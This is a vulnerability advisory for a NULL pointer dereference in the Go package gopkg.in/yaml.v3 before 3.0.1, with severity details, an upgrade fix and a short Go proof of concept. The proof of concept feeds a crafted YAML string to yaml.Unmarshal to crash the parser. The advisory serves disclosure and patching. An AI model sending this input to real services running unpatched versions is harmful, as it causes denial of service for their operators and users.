NULL Pointer Dereference Affecting gopkg.in/yaml.v3 package, versions <3.0.1


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Availability

    High

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  • snyk-id

    SNYK-GOLANG-GOPKGINYAMLV3-2952714

  • published

    17 Jul 2022

  • disclosed

    27 May 2022

  • credit

    Bradley Kemp

Introduced: 27 May 2022

CWE-476 Open this link in a new tab

How to fix?

Upgrade gopkg.in/yaml.v3 to version 3.0.1 or higher.

Overview

gopkg.in/yaml.v3 is a YAML support package for the Go language.

Affected versions of this package are vulnerable to NULL Pointer Dereference when parsing #\n-\n-\n0 via the parserc.go parser.

PoC

package main

import (
    "gopkg.in/yaml.v3"
)

func main() {
    var t interface{}
    yaml.Unmarshal([]byte("#\n-\n-\n0"), &t)
}